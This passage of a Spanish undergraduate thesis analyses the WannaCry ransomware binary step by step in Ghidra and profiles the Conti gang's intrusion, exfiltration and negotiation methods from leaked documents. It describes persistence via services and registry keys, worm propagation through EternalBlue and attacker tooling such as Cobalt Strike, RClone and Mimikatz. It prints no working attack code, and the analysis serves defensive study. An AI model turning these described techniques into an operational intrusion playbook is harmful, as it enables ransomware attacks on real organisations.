Se analizan entonces las dos subfunciones.

En la primera, se ve como se genera una cadena con la dirección del ejecutable y con el

parámetro “-m security”. Después se hace uso de la función CreateServiceA() para generar

un servicio llamado “Microsoft Security Center (2.0)”.

Figura 10.14: Creación del servicio malicioso para obtener persistencia en el sistema.
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Además, se puede ver como se trata de ejecutar el servicio con permisos de adminis-

trador. Esto se puede obtener comparando los parámetros con los que se presentan en la

documentación deMicrosoft. Este tipo de parámetros se construyen mediante la operación

OR (o suma) de diferentes valores.

Por ejemplo, si quisiéramos tener permisos para crear otros servicios y enumerarlos

seŕıa realizar la operación OR de 0x0002 y 0x0004, que resulta 0x0006.

Figura 10.15: Uso de MSDN para comprobar el parámetro usado.

La segunda función posee más longitud, por lo que se analiza poco a poco. En primer

lugar, encontramos como se crean algunos punteros a funciones. Esto puede ser para

tratar de hacer más complejo el proceso de análisis o para tratar de evitar detecciones de

antivirus.
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También se carga el recurso “0x727”, es decir “1831”. Esto será de gran interés poste-

riormente. Después se hacen algunos memset, pero estos no son detectados correctamente

por el decompilador de Ghidra.

Figura 10.16: Segunda subfunción ejecutada al no tener argumentos.

Justo después, se detectan algunas rutas interesantes. No obstante el decompilador

de nuevo no es capaz obtener correctamente el número de parámetros. Lo ajustamos

correctamente y como se aprecia en la figura 10.18, después de renombrar algunas variables

se pueden entender perfectamente los ficheros y directorios que se tratan de crear.
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Figura 10.17: Corrección de sprintf para obtener número de parámetros adecuado.

Figura 10.18: Corrección de sprintf para obtener número de parámetros adecuado.

Figura 10.19: Crear fichero en carpeta extraña.

También se aprecia como se crea un nuevo proceso llamado “taskche.exe”, este trata

de imitar al proceso “Task Scheduler” (planificador de tareas en español), el cual es un

servicio benigno presente en Windows por defecto.
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Figura 10.20: Creación de subproceso.

Ejecución con argumentos

Se analiza entonces qué ocurre cuando se ejecuta la muestra de Wannacry con argu-

mentos. Como hemos visto esto ocurre por śı solo, pues al iniciar sin argumentos trata de

crear un proceso con permisos de administrador.

Tal y como se ve a partir de ĺınea 22 en la figura 10.21, se crea un servicio llamado

“msecvc2.0”. Después se ejecuta un método encargado de cambiar la configuración de este

servicio, es decir permisos, etc.

Figura 10.21: Parte final de WinMain.

Este servicio es muy importante también, pues se encarga de la propagación delmalwa-

re.
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Este malware se propaga tanto por LAN (Local Area Network) como por WAN (Wide-

Area Network). Además, a diferencia de otros ransomware, no necesita contacto con la

infraestructura de C2, sino que puede actuar por su cuenta y sin conexión a internet.

Figura 10.22: Propagación del malware.

En la propagación por LAN se obtienen las IPs de los distintos adaptadores de red de

la máquina, se obtienen los 3 primero octetos y se generan las posibles IPs para el último

octeto. La propagación se hace en hilos diferentes.
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Figura 10.23: Propagación del malware por LAN.

En WAN la generación de IPs es totalmente aleatoria. Se generan 128 IPs públicas

con la restricción de que el primer octeto debe tener valores menores que 224 y no ser

127. Posteriormente se corren hilos para cada una de estas IPs.
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Figura 10.24: Propagación del malware por WAN - Generación de IPs.

Figura 10.25: Propagación del malware por WAN - Ejecución.
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10.1.3. Vulnerabilidad utilizada para la propagación del malware

A continuación, se hace una pequeña introducción de la vulnerabilidad utilizada para

propagar el malware.

La vulnerabilidad en cuestión es “MS17-010”, más conocida como “EternalBlue”. Esta

vulnerabilidad fue filtrada en un conjunto de herramientas de la NSA (National Security

Agency) por el grupo denominado “Shadow Brokers”. Fue desarrollada por los Estados

Unidos en un programa para obtener vulnerabilidades para su propio uso en vez de re-

portarlas al vendedor. Esto le permit́ıa usarlas en misiones de ciberespionaje y misiones

contraterroristas[109].

Se hace uso de vulnerabilidades en SMBv1, uno de los protocolos de compartición de

archivos, impresoras y puertos para máquinas Windows. Para la propagación, se hace uso

de paquetes crafteados manualmente.

Esta vulnerabilidad no solo ha sido usada por campañas de Wannacry, también exis-

tieron otras familias como la “Petya” que abusaba esta técnica.

Se cree que las pérdidas económicas causadas por esta vulnerabilidad son de $10 bi-

llones en daños para Petya y $4 billones para WannaCry [110].

10.1.4. Recurso 1831

A continuación, se hace un análisis del recurso 1831. Este se encuentra contenido

dentro del propio malware, aśı que mediante el comando PEdump podemos extraerlo.

Extracción del recurso

PEdump[111] es una aplicación open source en Ruby para extraer recursos de binarios

PE.
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Figura 10.26: PEdump extracción del recurso.

10.1.5. Análisis en Ghidra

Una vez extráıdo el proceso es el mismo que anteriormente, se importa en Ghidra y

se analiza.

Las funciones de este binario se muestran iguales a las del malware principal. No se

detecta función main, sino una función entry generada por defecto.

Análisis de cadenas de caracteres

Se analizan también las cadenas de caracteres. En este caso se detectan algunas que

nos podŕıan indicar el comportamiento del malware. Se detectan llamadas a binarios,

direcciones de Bitcoin y otras relacionadas con el propio malware.

Haciendo uso de estas, tal y como se ve en la figura 10.28 se buscan sus referencias y

se renombran los nombres de las funciones para analizar posteriormente.
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Figura 10.27: Cadenas de texto interesantes.

Figura 10.28: Referencias a las direcciones de cadenas de Bitcoin.
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Análisis de “winMain” - Primera parte

Se pasa ahora a analizar el “winMain” (fig. 10.29).

Figura 10.29: Funcion “winMain” de “1831.bin”.

Lo primero que se analiza es un generador de Strings basado en el nombre del orde-

nador de la v́ıctima.
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Figura 10.30: Generador de Strings basado en el ordenador de la v́ıctima.

Para obtener un decompilado legible, será necesario en ocasiones especificar el tamaño

de las variables conocidas (fig. 10.31). Además, será necesario recrear las Strings, pues

en muchas ocasiones Ghidra no es capaz de recomponerlas o identificar correctamente su

tipo.
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Figura 10.31: Especificar tamaño de las variables conocidas.

Para corregir las Strings se hara uso de la función clear de Ghidra, y posteriormente

se deberá seleccionar el tipo correcto (String unicode, CString, etc.).

Figura 10.32: String no detectada correctamente.

Figura 10.33: Uso de la función “Clear”.
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A partir de ah́ı, se comienzan a ver muchas más Strings interesantes. Como pueden

ser directorios o nombres de ficheros.

Figura 10.34: Directorios descubiertos al convertir manualmente las Strings.

La siguiente función interesante, renombrada como “createHiddenDirInPath”, se en-

carga de crear directorios ocultos y cambiar el directorio de trabajo a ellos.

Figura 10.35: Crea directorio oculto.

A continuación (fig. 10.36), se puede observar como se crea el servicio “taskche.exe”

en mutex. En esta función, primero se obtiene el camino hasta “tasksche.exe”, se crea el

servicio y luego se ejecuta el proceso en exclusión mutua.
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Figura 10.36: Creación del servicio en exclusión mutua.

En la primera función (fig. 10.37), se observa como se crea un servicio (si no existe

todav́ıa) ejecutando entonces “cmd /c taskche.exe”. Si existe se comienza.
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Figura 10.37: Crea e inicia servicio.

La función de obtener mutex es sencilla, solamente trata de obtener exclusión mutua

con N reintentos.
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Figura 10.38: Obtención de exclusión mutua.

De esta forma, quedaŕıa analizada la primera parte del método winMain para el binario

1831.

Figura 10.39: Primera parte de winMain para 1831.bin.
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Análisis de “winMain” - Segunda parte

Para esta parte será necesario hacer un inciso, pues el análisis es más complejo y se

requerirán de algunas herramientas extras.

Herramientas extras para el análisis

A pesar de que Ghidra sea una incréıble herramienta para el análisis estático, su

libreŕıa de firmas es escasa, y la detección de clases es a menudo no muy buena. Para ello

se hará uso del framework “Pharos”.

Pharos es un framework para el análisis estático de binarios. Este tiene interesantes

herramientas, en este caso, será de gran utilidad la herramienta “OOAnalyzer”, pues nos

permitirá recrear objetos y clases.

Figura 10.40: “Pharos Static Binary Analysis Framework”.

Para poder usar utilizar “Pharos” en Ghidra, utilizaremos “Kaiju”, la implementación

del framework anterior para Ghidra.
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Figura 10.41: “CERT Kaiju Binary Analysis framework”.

Para utilizar Pharos, simplemente será necesario utilizar Docker, y mediante los si-

guientes parámetros podemos utilizar las herramientas del framework.

$ docker pull seipharos/pharos
$ docker run --rm -it -v /dir:/dir seipharos/pharos

Figura 10.42: Uso de OOAnalyzer del framework Pharos.

Esto analizará el binario y generará un fichero JSON que importaremos con Kaiju

a Ghidra. La instalación de este framework se hace mediante el gestor de paquetes de

Ghidra (mediante el propio menú, Archivo >Instalar Extensión).
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Al instalarse y activarse, se podrá ver un nuevo elemento en el menú llamado Kaiju.

Aqúı simplemente seleccionamos el fichero JSON exportado por Pharos y ya podremos

ver que se han detectado algunas clases en el apartado de śımbolos de Ghidra.

Figura 10.43: “Kaiju Importer” en Ghidra.

Figura 10.44: Clases detectadas con Pharos.

Análisis de “winMain” - Segunda parte

Ahora si es posible continuar con el análisis. Tal y como se observa en la figura 10.45,

se cambia el directorio, se modifica el registro, se extraen recursos y se ejecutan comandos.

Se analizarán al detalle estas funciones.
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Figura 10.45: Segunda parte de la función winMain para el binario 1831.bin.

En la función “registrySetCwd()” (fig. 10.35), se crea un valor de registro. Este es otra

forma de crear persistencia del malware. El registro modificado es:

“HKLM/SOFTWARE/usuario/WanaCrypt0r/wd”

Después de modificar el registro, se modifica el directorio actual a la ruta guardada

en el registro (fig. 10.46).
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Figura 10.46: Crea registro.

Extración del recurso “XIA”

A continuación, se analiza la función de extracción del recurso nombrado como “XIA”.

En primer lugar, se deben modificar los argumentos del decompilador, pues este no es

capaz de detectar correctamente el argumento que se le pasa.

Analizándolo correctamente en la figura 10.47, se puede ver que el recurso es un archivo

.zip, y se le pasa la cadena “WNcry@2017” para descomprimirlo (fig. 10.48).
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Figura 10.47: A veces el decompilador no detecta bien los argumentos.

Figura 10.48: Recurso XIA.

El procedimiento para extraerlo es exactamente el mismo que para el recurso “1831.bin”.

Se hará uso de PEdump.
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Figura 10.49: Recurso XIA contraseña de extracción.

Figura 10.50: Recurso XIA - elementos extráıdos.

Tal y como se observa en la figura 10.50, los ficheros tienen un tipo variado. A conti-

nuación se muestra una tabla con los diversos ficheros y su utilidad.
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b.wnry
Imagen usada como fondo de pantalla tras infectar la máquina.

Contiene las instrucciones para pagar el ransom.

c.wnry
Fichero con direcciones de Bitcoin y una URL para descargar

el navegador Tor.

Carpeta “msg”
Contiene la explicación del pago del ransomware en multitud

de idiomas.

r.wnry Información extra para el pago.

s.wnry Fichero comprimido con el navegador Tor.

t.wnry
DLL que realiza el comportamiento del ransomware (analizado

posteriormente).

taskdl.exe Ejecutable para borrar archivos con extensión “.WNCRYT”

taskse.exe Ejecuta el comando pasado por parámetros.

u.wnry GUI del malware, con nombre de proceso “@WannaDecryptor@”

Cuadro 10.1: Archivos encontrados al descomprimir el recurso XIA.

Figura 10.51: Recurso XIA - elementos extráıdos - Fondo de pantalla.
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Figura 10.52: Recurso XIA - elementos extraidos - Mensajes.

Figura 10.53: Recurso XIA - elementos extráıdos - FAQ.
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Figura 10.54: Recurso XIA - elementos extráıdos - Direcciones de Tor.

Obtención de direcciones de Bitcoin

El fichero “c.wnry”, es utilizado de dos formas, tanto para leer como para escribir (fig.

10.55).

Figura 10.55: Lectura o escritura en fichero “c.wnry”.
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Una vez léıdo, se selecciona una de las direcciones de cartera de Bitcoin (fig. 10.56).

Figura 10.56: Selección de dirección BTC.

Punteros a funciones

Seguidamente, se realiza la misma técnica que en el malware principal. Se obtienen

los punteros a funciones de Windows de forma que se dificulte el análisis de la muestra.

En este caso, se identifican funciones de criptograf́ıa (fig. 10.57) y funciones genéricas

(fig. 10.58)
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Figura 10.57: Set punteros a funciones de encriptado.

Figura 10.58: Set punteros a funciones genéricas.



R
a
n
so

m
w
a
r
e

R
a
n
so

m
w
a
r
e

R
a
n
so

m
w
a
r
e

R
a
n
so

m
w
a
r
e

R
a
n
so

m
w
a
r
e

R
a
n
so

m
w
a
r
e

R
a
n
so

m
w
a
r
e

R
a
n
so

m
w
a
r
e

R
a
n
so

m
w
a
r
e

R
a
n
so

m
w
a
r
e

Ransomware 144

Funciones criptográficas

A partir de este punto, se ejecutan diversas funciones criptográficas. En primer lugar,

se obtiene el contexto y se importan las claves desde el sistema de archivos.

Figura 10.59: Importación de clave criptográfica.

La primera función de la figura 10.59, se encarga de obtener el contexto criptográfico.

Figura 10.60: Se obtiene el contexto criptográfico.

La segunda, importa la clave desde el sistema de archivos.
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Figura 10.61: Importación de clave criptográfica desde fichero.

Posteriormente, se observa (fig. 10.62) como se llama a la función “cryptDecrypt()” en

sección cŕıtica. Analizar este código es complicado, pues se trata de implementaciones de

algoritmos criptográficos (fig. 10.63).

En las grandes firmas de antivirus y empresas dedicadas a la ciberseguridad, existen

personas dedicadas únicamente a la identificación y reversing de estos algoritmos.
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Figura 10.62: Llamada a la función de desencriptado.

Figura 10.63: Elementos de encriptado extraños.
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No obstante, para una rápida identificación, se puede hacer uso de reglas Yara que

detectan constantes de los diferentes algoritmos. En concreto, se hará uso del script del

usuario “Ghidra_ninja”, un destacado investigador en las redes sociales.

Ejecutando el script en la consola de Ghidra, nos devuelve varios resultados. Se de-

tectan constantes de los algoritmos CRC32 y AES.

Figura 10.64: Correr Yara sobre la muestra.

Puesto que este script también crea marcadores en las posiciones de memoria de los

resultados, podemos renombrar estas constantes con nombres relacionados, aśı como sus

referencias a nombres que nos ayudarán posteriormente. En este caso, tal y como se ve

en la figura 10.66: “AESFuncX”.

Figura 10.65: Cambiar nombre con los marcadores.
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Figura 10.66: Cambiar nombre a funciones con x-referencias.

Aśı es entonces, como llegamos a la conclusión, de que estas funciones se encargan de

desencriptar el fichero t.wnry con la clave RSA.

Figura 10.67: Desencriptado de t.wnry

Resumiendo entonces el comportamiento de este recurso, vemos que se crean direc-

torios ocultos, donde se copia el fichero tasksche.exe. Entonces se crea un servicio y se
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modifica el registro con la intención de crear persistencia.

Finalmente, se utilizan funciones criptográficas para desencriptar el recurso t.wnry,

cargarlo en memoria y ejecutarlo desde su función “TaskStart”.

Figura 10.68: winMain después de todo el análisis.
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10.1.6. Análisis del DLL t.wnry

Este DLL (del inglés Dynamic Link Library), exporta dos funciones, la función entry

y la función “TaskStart”. Tal y como se ha visto, no es necesario buscar el “main real”

como ha sido necesario en los otros binarios, sino que se llama directamente a la función

TaskStart.

Figura 10.69: Funciones exportadas por “t.wnry”.

El análisis de este DLL, es más complejo y largo, por lo que se hará hincapié en las par-

tes de interés. Por lo general, el principal objetivo de esta libreŕıa es la del comportamiento

t́ıpico de un malware, es decir, encriptar los archivos.

En las primeras ĺıneas, se puede ver como se crea un mutex y se cambia el directorio

de trabajo al del fichero de taskche.exe.

En este caso, se lee también los contenidos de c.wnry, que si recordamos son las

direcciones de Bitcoin.

Posteriormente, se comprueban los permisos de ejecución, recordamos que el DLL se

debeŕıa de estar ejecutando como administrador del sistema si se ha seguido todo el flujo

del malware.

Después se vuelve a iniciar los punteros de funciones necesarias, tal y como se ha hecho

en otras partes del análisis.

Se finaliza creando cadenas de caracteres para los diferentes nombres de las claves

usadas para el encriptado y desencriptado de archivos.
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Figura 10.70: TaskStart - inicio.

En esta sección, se chequea en exclusión mútua si las claves existen o no, y si no

existen, se generan. Estas claves son cargadas en memoria y destruidas del sistema.

Finalmente, se crea un hilo encargado de comprobar si se debe de desencriptar el

sistema, es decir, si se ha pagado la fianza.
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Figura 10.71: TaskStart - mitad.

En la parte final del malware, se crean más hilos para diferentes tareas. En primer

lugar, existe un hilo para obtener mediante polling (chequeo continuo) las unidades de

disco del sistema y se encriptan.

En segundo lugar, se crea un hilo para la tarea taskdl.exe, que como hemos comentado

antes, se encarga de borrar ficheros que tengan .WNCRYT como extensión.

Y finalmente, se crea un hilo para mantener persistencia.
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Figura 10.72: TaskStart - final.
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Análisis de los hilos

Figura 10.73: Hilos invocados.

En el hilo de getLogicalDrives(), se hace polling de los discos para conocer si existen

nuevos que infectar. Esto se realiza con un AND en la ĺınea 20 de la figura 10.74.
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Figura 10.74: getLogicalDrives().

Dentro del propio hilo de la infección de discos, se encuentra el método encargado de

correr el ransomware. Lo que hace este método, es principalmente comprobar las claves y

añadir los directorios a encriptar a una lista.
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Figura 10.75: Hilo con comportamiento de ransomware.

Finalmente, se muestra el hilo de encriptado. En este hilo, se comprueba que haya

espacio disponible, y que el disco a encriptar no sea un CD-ROM. Si esto se cumple, se

crean directorios WNCRYT y se encriptan los elementos que no son de Wannacry o de

Windows.
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Figura 10.76: Encriptado.
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10.2. Muestra Post-COVID: Conti

Las caracteŕısticas de Conti, la hacen una de las muestras de malware más interesantes

para analizar. Lo más interesante de esta familia es la estructura de la propia organización,

aśı como su colaboración con otras organizaciones.

Todo esto, se puede analizar al detalle gracias a que en febrero de 2022, un usuario de

Twitter llamado “ContiLeaks” filtró todos los documentos, chats y herramientas utilizadas

por Conti. Esto nos permite no solo tener una perspectiva desde fuera, sino conocer los

pensamientos y el por qué de las tomas de decisiones de la organización.

Figura 10.77: Visualización de los chats filtrados por d́ıa[9].

Además, en 2021, se filtraron documentos que provéıan a los afiliados. En estos do-

cumentos, se muestran diferentes métodos de ataque y explicaciones de como utilizar el

conjunto de herramientas proporcionado (fig. 10.78).

Figura 10.78: Documentos y herramientas proporcionadas a los afiliados[10].
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Todos estos ficheros se han obtenido de la página VX-Underground [1], que como se ha

mencionado en otras secciones se trata de una web conocida por investigadores donde se

guarda información y muestras de malware.

Figura 10.79: Directorio “Conti” en VX-Underground.

10.2.1. Introducción a Conti

Conti ha estado activa desde diciembre de 2019, siendo una de las bandas organizadas

más exitosas hasta la fecha. Se le atribuyen cientos de ataques a grandes corporaciones

(fig. 10.80), y aunque es dif́ıcil de conocer al detalle las ganancias obtenidas, se conoce

que se han obtenido más de 180 millones de euros en beneficios. En la figura 10.81, se

muestra una gráfica comparativa entre las ganancias de grandes familias de ransomware

de los últimos años.
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Figura 10.80: Comparación de ataques satisfactorios en diversas familias de malware[11]
- feb. 2022.

Figura 10.81: Comparación de ganancias obtenidas en diversas familias de malware[12].

Esta banda, utiliza un modelo de negocio muy estructurado, y las diferentes etapas se

realizan por actores de diferentes grupos especializados.
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A simple vista, la estructura interna, si no fuera por el componente ilegal, podŕıa pasar

completamente por una compañ́ıa tecnológica.

Tal y como se ve en la figura 10.82, realizada por CheckPoint [13], existen departamen-

tos de todo tipo: Managers, hackers, desarrolladores, recursos humanos, etc.

Figura 10.82: Visualización de la organización de Conti [13].

Es interesante ver cómo su proceso de búsqueda de trabajadores tampoco es diferente

del de una compañ́ıa común. Haciéndose uso de reclutadores que buscan candidatos en

redes sociales de trabajo, foros y similares.
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Con respecto a las v́ıctimas, utiliza un modelo de doble extorsión, en el que se trata

de extorsionar a la v́ıctima no solo encriptando sus ficheros, sino también robando los

ficheros y amenazando a la v́ıctimas con hacer los ficheros públicos (figs. 10.83 y 10.84).

Este modelo no es único de esta familia de malware, pues está presente en otras familias

como REvil, Ragnar o Egregor.

Figura 10.83: Mensaje de Conti en el que se aprecia el modelo de doble extorsión.

Figura 10.84: Página de filtraciones de Conti, donde los datos de las v́ıctimas son ex-
puestas.
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El modelo de negocio es el de Ransomware as a Service (RaaS), por lo que existe un

grupo de desarrolladores que crean el malware y luego otro grupo de afiliados que son

reclutados por la organización para propagarlo. Estos afiliados usan el malware cuando

consiguen acceder a los sistemas y cada parte se lleva un porcentaje de las ganancias en

criptomonedas[17].

Aunque históricamente los individuos han sido los principales blancos de los ataques

de ransomware, los hospitales y sistemas de salud han sido cada vez más las v́ıctimas

de este tipo de ataques[112]. Esto se ha mostrado especialmente desde el principio de la

pandemia[113].

Conti no es una excepción, en los propios chats filtrados, el manager reconocido como

“Target” mencionó el 26 de octubre de 2020: “A la mierda las cĺınicas en los EE. UU. esta

semana. Habrá pánico. 428 hospitales.”[114]

10.2.2. Infiltración

Para la infiltración, se hace uso principalmente de ataques de phishing mediante correo

electrónico para tratar de infectar a las v́ıctimas. Las campañas activas de phishing eran

monitorizadas por una herramienta interna, véase la figura 10.85.

Figura 10.85: Panel de control de las campañas de phishing de Conti.
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El objetivo en esta fase es el de ejecutar la familia de malware Trickbot. Esto es

conocido en los chats de Conti como “bot”.

Figura 10.86: Documentación de Trickbot en los documentos de Conti.

Tal y como hemos analizado en la sección 8.2, esta familia obtiene una gran cantidad de

información de la v́ıctima (contraseñas, datos bancarios, etc.). Además, permite infectar

con otras muestras a la v́ıctima. En estos casos, se conecta a la v́ıctima a una red C2 de

Cobalt Strike, haciendo a la v́ıctima un zombie más de la botnet (figs. 10.87 y 10.88).

Figura 10.87: Panel de control de Conti.
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Figura 10.88: Panel de control de Cobalt Strike de una campaña de Conti.

Es realmente interesante también que existen una serie de páıses excluidos donde no

se realizará la infección, véase la figura 10.89.

Figura 10.89: Páıses excluidos de la infección.

El malware enviará mensajes cada cierto tiempo para dar señales de vida, esto es lo

que se conoce en computación como "Heartbeat" [115]. En este caso, esta comunicación se

realiza entre medio de tráfico DNS leǵıtimo, de forma que sea complicado de detectar por

firewalls o detectores de comportamiento.
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El análisis de tráfico de red (fig. 10.90) en esta etapa nos permite ver de manera sencilla

su comportamiento:

Figura 10.90: Protocolos utilizados en la ejecución de Conti [14].

Una vez que se obtiene acceso inicial, los atacantes tratarán de establecer una mejor

persistencia con otros métodos. Algunos métodos utilizados pueden ser fuerza bruta de

credenciales, volcados de memoria del proceso LSASS 1 o uso de otras vulnerabilidades

(fig. 10.91).

Figura 10.91: Menciones a vulnerabilidades en los chats filtrados[15].

1Demo de un volcado de memoria al proceso LSASS - Fuente “Exploit Blizzard” en Youtube:
https://www.youtube.com/watch?v=i6AZ0Oxc6xE

https://www.youtube.com/watch?v=i6AZ0Oxc6xE
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En los chats filtrados (fig. 10.92), se pueden encontrar conversaciones sobre la com-

pra de vulnerabilidades 0-day (no públicas) a terceros, aśı como uso de vulnerabilidades

conocidas.

Figura 10.92: Chats filtrados mostrando la intención de comprar vulnerabilidades 0-day.

En los documentos filtrados, se encuentra un fichero llamado “быстрый старт хакера.txt”

(en español: gúıa de inicio rápido para hackers). Este fichero explica de forma general di-

versos métodos de ataque y persistencia. Algunos de los métodos explicados aqúı son el

ataque a dispositivos IoT o ataques a protocolos como VPN o RDP y Active Directory.

Algunas de las herramientas mencionadas son Metasploit Framework [116] (una de

las herramientas de exploit semi-automático más conocidas), Core Impact [117] (algunas

herramientas para hacer penetration testing), Cobalt Strike[118] (framework para la simu-

lación de ataques, aunque a menudo es utilizada de manera incorrecta) o Burp Suite[119]

(framework para web hacking) entre otras.

Además, se dedica una sección completa a explicar la ingenieŕıa social, y cómo utilizar

emails para engañar a las v́ıctimas (fig. 10.93).

Figura 10.93: Sección de ingenieŕıa social en la documentación de Conti.

Una vez que se consigue entrar al sistema, se tratará de desactivar sistemas de antivirus

y otros mecanismos de seguridad.
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10.2.3. Persistencia, exfiltración y movimiento Lateral

Todos los archivos son enviados a los servidores del atacante para ser publicados y

crear más presión para el pago de la fianza. Algunas de las técnicas que se muestran en

los documentos son:

Uso del RClone para exfiltrar datos.

Uso de herramientas comerciales como Anydesk para crear persistencia (fig. 10.94)

Uso de túneles con Ngrok sobre el protocolo RDP

Diferentes modos de elevar privilegios con vulnerabilidades conocidas

Uso de fuerza bruta sobre contraseñas

Figura 10.94: Persistencia con AnyDesk [16].

Para el movimiento lateral se utilizan diversos métodos, entre ellos:

Mediante e-mail, pues se env́ıan nuevos correos de phishing desde cuentas de la

v́ıctima.

Uso de herramientas como Cobalt Strike o Mimikatz [120].

También se tratará de comprometer al Domain Controller (máquina encargada de las

peticiones de autenticación en Active Directory de Windows) y otros servicios de la red

que utilicen permisos de administrador.

El tráfico de red en esta etapa (fig. 10.95) de movimiento lateral también es útil

para conocer su comportamiento. Principalmente se hace uso del protocolo SMB2 para
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compartir y transferir archivos en la red. No obstante se hace uso de otros protocolos en

menor medida.

Figura 10.95: Protocolos de salida utilizados en Conti [14].

10.2.4. Encripción

En este punto, el ransomware de Conti es instalado y todos los archivos disponibles (ya

sean locales o en discos conectados por red) son encriptados con la libreŕıa “chacha”[121].

Este cifrado es utilizado cuando la velocidad es más importante que la confianza. Los

ficheros cifrados tendrán la extensión .CONTI

Finalmente, un fichero llamado “CONTI_README.txt” (fig. 10.96) se coloca en los

directorios encriptados explicando como pagar para desencriptar los archivos encriptados.
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Figura 10.96: Fichero “CONTI_README.txt”.

En versiones anteriores, se haćıa uso de correo electrónico (concretamente protonmail)

pero se desarrolló un portal que permit́ıa a los usuarios contactar con Conti con un ID

asignado[122] (fig. 10.97).

Figura 10.97: Página de contacto con Conti mediante HTTPS.
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El comportamiento del propio ransomware, se puede analizar no solo con la muestra,

sino con los documentos que explican al detalle su comportamiento e información técnica

sobre temas como ofuscación, inyección de procesos y evasión de antivirus. Concretamente,

se detalla en el fichero “быстрыйстартисследователя.txt” (en español: Gúıa rápida para

los investigadores).

A continuación, en la figura 10.98, se muestra como resumen todas las fases de un

ataque de la familia Conti.

Figura 10.98: Resumen de un ataque de la banda organizada Conti [17].

10.2.5. Negociación

Finalmente, se analiza el proceso de negociación de esta organización. Para ello se

toma como base el art́ıculo: “Analyzing ransomware negotiations with CONTI: An in-

depth analysis”[17] (en español: “Analizando las negociaciones del ransomware con Conti:

un análisis en profundidad”) de parte de DFIR Research Group[123] y Team Cymru[124].

Además se añadirán algunos elementos obtenidos de los documentos filtrados.
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En primer lugar, el usuario infectado deberá contactar con Conti. Esto se realiza

mediante la página web, ya sea en la clear web (fig. 10.97) o en la deep web (fig. 10.99).

Esta web funciona mediante el fichero “CONTI_README.txt”. Tal y como se ha

mostrado en la figura 10.96, al final de este documento se encuentra un ID único para

cada v́ıctima. Este es analizado y se crea un canal personal con la organización.

Es precisamente este ID el que ha permitido realizar el estudio por parte de DFIR

Research Group y Team Cymru. El fichero “CONTI_README.txt” era publicado muchas

veces en foros de investigadores por parte de las organizaciones o equipos de seguridad

sin saber que estaban exponiendo sus conversaciones.

Figura 10.99: Página de contacto con Conti desde la deep web.
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Desde el punto de vista de Conti, existe un panel de control con todas las conversacio-

nes abiertas (fig. 10.100). Dentro de cada una de las conversaciones se muestra información

extra, como la fecha de infección, creación del chat o último momento en ĺınea.

Figura 10.100: Página de contacto (desde el punto de vista de Conti).

Figura 10.101: Página de contacto - chat (desde el punto de vista de Conti).

A continuación, en la figura 10.102, se pueden ver algunas de las estad́ısticas de pago

para varias v́ıctimas (existen más, pero solo se citan algunas). Por lo general, se apre-

cia que los pagos realizados son mucho más inferiores que los pedidos inicialmente. Las

negociaciones suelen durar relativamente poco tiempo, como máximo varias semanas.
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Figura 10.102: Pago inicial solicitado por Conti y pago realizado al final.

El precio impuesto también depende de la organización a la que hayan infectado. Si

existen problemas en la transmisión y los datos no pueden ser publicados se hace una

“oferta” y solo se plantea el desencriptar los datos (fig. 10.103).

Figura 10.103: Negociación cuando existe errores en la transmisión.

Finalmente, si se realiza el pago, es común que Conti provea de algunos “consejos”

de seguridad a la organización (fig. 10.104). Estos “consejos” pueden en ocasiones dar

información de como se produjo la infiltración.

Figura 10.104: Consejos de seguridad por parte de Conti.
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Caṕıtulo 11

Respuesta a las hipótesis

En esta sección se hace un pequeño repaso de las hipótesis planteadas en el inicio del

TFG (sección 1.3). En algunos subapartados, debido a su similitud, se han argumentado

varias hipótesis de una vez.

Se registra un incremento del “Malware as a Service” como modelo de negocio

Tal y como se ha expuesto en el proyecto, desde el inicio de la pandemia, el número

de muestras de malware se ha casi duplicado en número[125].

Aunque existen varias razones, el Malware as a Service es definitivamente uno de los

principales motivos por el que el número de amenazas ha aumentado. El Malware as a

Service (MaaS), permite a individuos con menos conocimiento técnico realizar ataques

a grandes empresas con ataques sofisticados, incluso cuando los atacantes no tienen las

habilidades suficientes para programar su propio malware. Aunque para el uso del MaaS

todav́ıa es necesario tener conocimiento de como desplegar del malware, los atacantes no

tienen por que escribir los exploits o ni siquiera aportar servidores donde desplegar las

muestras.
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En algunos análisis realizados en el TFG (sección 10.2.2 por ejemplo), se ha mostrado

que para acceder a este tipo de servicios, un portal web es comúnmente proporcionado,

lo que permite bajar aún más los requisitos técnicos.

Figura 11.1: Panel de control de Conti.

Además, sorprendentemente, en ocasiones este tipo de servicios poseen “servicio técnico”,

dónde se solucionan problemas que el atacante pueda tener.

Todo este tipo de ventajas hacen que los delincuentes posean un mayor porcentaje

de éxito. De todos modos, aunque este tipo de ataques a menudo se asocien a ataques

amateur, se conoce que ciertos grupos estatales han utilizado este tipo de ataques para

beneficios financieros u obtención de inteligencia.

Como ejemplo, el caso de Lazarus, un grupo criminal atribuido al gobierno norcoreano.

Se piensa que este grupo ha hecho uso de MaaS como Trickbot [126], malware que se ha

analizado en la sección 8.2.

En terminos de cifras, se mostraba durante la sección 7.2.1, que durante 2020, dos

tercios de las campañas de ransomware fueron atribuidas a operadores usando RaaS [33].

Por todo lo mencionado, se puede concluir que la hipótesis es cierta. Además, la ten-

dencia se cumple para otras doctrinas relacionadas con el malware, como pueden ser

Disinformation as a Service (DaaS) o Phishing-as-a-service (PaaS).
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La digitalización de los bienes y recursos exponen nuevas superficies de ataque.

La rápida digitalización ha provocado en muchos casos que las infraestructuras

no sean tan robustas y probadas como debeŕıan

Este tema se ha tratado en la sección 7.2.5. En dicha sección, se analizaban ejemplos

tanto de grandes entidades (como el caso del gobierno argentino que haćıa uso de tecno-

loǵıa blockchain) como de ejemplos que encontramos en el d́ıa a d́ıa, (como pueden ser los

cientos de art́ıculos IoT con los que interactuamos a diario). En estas dos situaciones la

hipótesis se cumple, pues se demuestra que se hace uso de tecnoloǵıa no lista para salir al

mercado o no lo suficientemente probada.

En los análisis a familias concretas de este TFG, también se aprecia como la familia de

malware Conti (sección 10.2) haćıa uso de este tipo de dispositivos, ya sea para infectar

o como movimiento lateral.

En términos estad́ısticos, también se puede ver de forma clara la correlación entre los

ataques a IoT (fig. 11.3) y la influencia del COVID (fig. 11.3).

Figura 11.2: Malware detectado en dispositivos IoT según un reporte de Sonicwall [4].
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Figura 11.3: Casos de COVID-19 durante el trascurso de 2020[5].

En śıntesis, podemos decir que las hipótesis son ciertas. A pesar de los grandes bene-

ficios que la tecnoloǵıa nos ha aportado, muchas de las soluciones que se han llevado a

producción han demostrado no ser lo suficientemente robustas y poseen vulnerabilidades

que pueden provocar incluso más daño del que se deseaba paliar.

Se produce un incremento en los ataques basados en ingenieŕıa social

